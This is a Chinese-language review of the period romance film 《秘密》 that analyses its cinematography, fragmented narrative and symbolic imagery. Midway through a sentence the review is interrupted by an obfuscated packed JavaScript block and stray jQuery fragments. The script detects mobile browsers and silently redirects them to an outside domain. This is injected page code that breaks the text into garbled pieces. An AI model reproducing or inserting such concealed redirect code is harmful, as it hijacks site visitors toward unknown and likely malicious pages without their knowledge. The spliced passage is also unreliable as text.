“《秘密》是由青年导演方可以执导，郑书秋、赵琢主演的电影，影片以两个世纪前的民国黄金年代为背景，讲述了高澄与自己小妈白玉如渐生情愫的故事。
“电影中的镜头语言极度缜密，设置了众多精致的悬念安排，细致到琐碎的场景、道具、化妆和美术，在即将失于过分工巧的时候，又用足以匹配的演员表演与创造性的叙事风格，呈现出一个美妙动人，却又冷酷现实的爱情故事。
“首先来讲下电影的视听语言分析，看看为什么当时看完第一遍，就说它可以预定我个人心中今年的国内最佳电影。
“第二部分分析一下导演方可以的风格，解释一下怎么他才第二部电影就能谈个人风格。
“第三部分谈谈方可以拍的感官片与目前其他感官片的关系和未来可能的影响。
“第四部分，分析《秘密》最后还差那么一点的遗憾与期待。”
“一般来讲我很少做上映期间的电影推荐，恰饭的嫌疑倒是其次，一不小心就容易剧透 ，不过《秘密》问题不大，或许能给大家带来更有趣的观影体验。
“别看两人身份设置得吸睛，好像分分钟就是一部伦理烂片，这里其实更像是导演为了哄骗观众进场的钩子，同时也是一个单纯的逼迫两人身处一地、又故意阻挠两人直接好上的外在理由。白玉如和高澄，小妈和继子，两人从头到尾都没有经历过什么生生死死、惊心动魄的故事，怎么爱上被一笔带过，《秘密》本身的看点不在于故事。
“看电影不看故事那看什么？
“看婀娜的旗袍，看寂寞的黄昏，看忧郁的美人依靠墙边时那曼妙的曲线，看年轻阴郁的男人在爱情里绞尽脑汁，成为落汤的野狗，看两个世纪前逼仄而纵深的屋子，看斑驳而长满苔藓的路肩，欲说还休的矜持，心照不宣的暧昧，大雨过后无人处的私语，还有那个矜持克制，又无所不为的年代。
“全片的第一段是在一个人声鼎沸的港口，高澄和白玉如同一天下船到岸。具体哪里电影中没有实写，大抵能猜得出来是那几座当时开放发展极快的沿海港口。
“接高澄的车开走后画面中出现了白玉如，拥挤熙攘的人群让两个人近在咫尺却擦肩而过，他们的眼里都没有对方，这一幕也暗示着后来所有的次序，两个人始终都有一个先来后到，近在眼前却视若无睹。
“形式即内容，好的导演都是会选择一个合适自己主题的视听语言的。
“拥挤的人群谕示着庞大的外部世界，挤压着人与人之间的空间，在日益变化的世界中，人们越来越清晰地发现自己的无能为力与孤独，他们无法对外在世界做什么，光是处理自己内心的千头万绪已经忙不过来。
“片中大部分镜头都取景于逼仄狭小的室内空间，重复固定的建筑，但在暗示重复拥挤的环境挤压的同时，却完全不会令观众觉得单调无聊和视觉压抑。
“这里方可以几乎给每一个室内景都设计了明显的前中远三个景别，从而呈现出较大的纵深。灵活使用了大量推、拉、移镜头，展现更多空间变换的细节，同时又细腻地表达人物的心理活动。
“此外，电影中大部分的人都是出现在画面的左右侧横向入画，表现出当时人们内心的压抑与束缚；又有大量空镜头伴随出画人物之间的对话，各种固定机位做出偷|窥视角，暗示人们被挤压后所剩无几的隐私与空间。
“还生怕观众看不出来，片中有一段直接让阴影形成囚禁两人的牢笼，还有用道具、场景和光影切割主角与外在世界、男主与女主之间的分界。
“越是压抑的外界环境，就越难以压抑躁动的心灵，两人重复的日常通过极富流动感的镜头，似乎在缓慢地滋生爱意。背景音演奏出一个一个起舞的小节奏，而原本枯燥的日常接触则不断契合这些节奏。
“看似行云流水的十几秒镜头，或许观众无法第一时间感受到导演及主创团队的用意，但这种画面里极度舒适的韵律感，却会让镜头充满特别的魅力。当然，想要达成这种效果，不敢想象在拍摄中要耗费多少精力，才能完成如此精确如舞步的成片。
“于是最终，电影呈现出精致细腻的视听语言，拥有极强的规划性、统一性，以极高的设计感让其成为一部精巧的作品。
“与极度精确缜密的视听语言相对应的，就是叙事逻辑上的随意。
“虽然也不至于说支离破碎，但整个故事是通过一个个碎片化的镜头拼凑而成的，每段镜头像孤岛，游离在完整的世界之外。有大致的时间线，但上下场的逻辑关系、人物与人物的语言对话经常跳跃不接。
“具体的大家可以自行进影院挑毛病。感觉导演在安排某个场景的时候也没有想好一定要放在哪里，甚至同时出现的画外音或者内心剖白都完全可能不是这场戏的，后面剪辑的时候感觉这里插这句话有意思，就插|了进去。这个手法其实方可以在预告片里就已经在玩了。
“相比起叙事的逻辑，剧组的所有人可能更在乎一个镜头够不够有感觉。
“像这个镜头，方可以要郑书秋一个人发呆的时候还要摆POSE，靠在水台边的比例正好在黄金分割线；场景师挑了半天，挑出来这么一个黄铜的衔尾蛇形的钟，针头的颜色还要是和高澄的袖扣一个色的；摄影师无所谓这些，他只关心郑书秋旁边那个冒烟的水壶吹出来的水雾够不够好看，有没有把郑书秋罩得美人如花隔云端。
“方可以还嫌不够，还要故意玩弄叙事诡计，给你暗示，让你误会，然后开个玩笑，刻意制造的期待落空混杂在孤岛式的时间碎片当中，不到下一刻，你永远不知道这一段是戏谑的玩笑，还是又一小段暗示。
“这部电影注定是无法讨好所有人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740246|174135||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的，不喜欢的人完全有理由觉得导演这套东西在自娱自乐，但喜欢的人比如我，就可能觉得这种悬而未决的期待也在巧妙贴合影片中人物的精神状态。”
“方可以的风格：意象与抽象。”
“方可以大概是一个能让影评人特别喜欢的导演，只要他以后继续现在这个风格发展下去，光分析他的电影就能水好几期更新。
“他拍戏不喜欢具体的情节、故事，所有一切‘实’的景物，都为‘虚’指服务。场景色调暗示人物心情，道具象征人物符号，服装书写人物的性格。
“对话，方可以干脆不怎么安排对话。电影中高澄和白玉如所有在建筑内部的对话几乎全都语焉不详。跳跃性的对白、充满暗示的眼神交流，一方面表达彼此精神的极度契合，另一方面同样也是下意识在逃避封闭环境中可能存在的窥探。
“只有当大雨、停电、离开原本的建筑，在空旷的自然当中，两人才可以稍微真实地表达自己。
“为什么郑书秋在里面换了那么多身旗袍？首先当然是在展现时代风情，同时功能性地暗示时间的流逝变换，第三，表达特定年代对人性的压抑。
“那么为什么有那么多镜头要给到高澄与花？
“原始的爱情符号绝大多数都是狼花CP，狼的符号象征男人在集体中的权力、力量，高澄更像是狼性符号中横生的枝节。他当然有标准狼狗型的气质表现，但导演给予他的符号表现更多是蛇。
“锋利尖锐的眼神，蛇型的袖扣、笔盖上的浮雕，打在面部上蜿蜒曲折的阴影，冰冷阴暗的嗓音，喜欢躲进潮湿的绿荫里偷窥的习性，甚至是背景音中若有似无吞吐蛇信的声音，当然，还有他没有任何障碍就要翘老豆墙角的冷血。我相信白玉如推拒的理由，总有一部分是怕被他毒死。
“蛇与花，两者的关系密切、危险又暧|昧。
“艳丽的毒蛇喜欢匍匐在柔软的花朵当中。所以高澄很喜欢看花，每一次注视花就是他在想象白玉如，她看起来如此脆弱、可怜、忧郁，仿佛一阵风就能打散。他喜欢采撷新鲜的花枝送到对方床头，既是在哄她开心，同样也是一种精神的恫吓，你要么爱我，要么我随时可以伤害你，不管是□□还是精神。或许他还会想象白玉如面对礼物时的惊喜或者惊吓，他对花所作的就是他对白玉如所作的。
“诸如此类兼具美感与功能暗示的设置，就是在通过的实实在在的画面，调动观众潜在的集体无意识，从人类群体记忆的海洋中唤起对某种虚指存在的共通感受。
“拍爱情，却不拍具体爱上的细节和理由；拍克制，却不拍具体遭受压抑的确切经历。
“实实在在的情节能够唤起的共鸣有限，更不要说他的人物设置本身还要备受道德谴责，但是虚指能唤起的广泛情感共鸣却是普遍的，也拥有无限的想象空间。”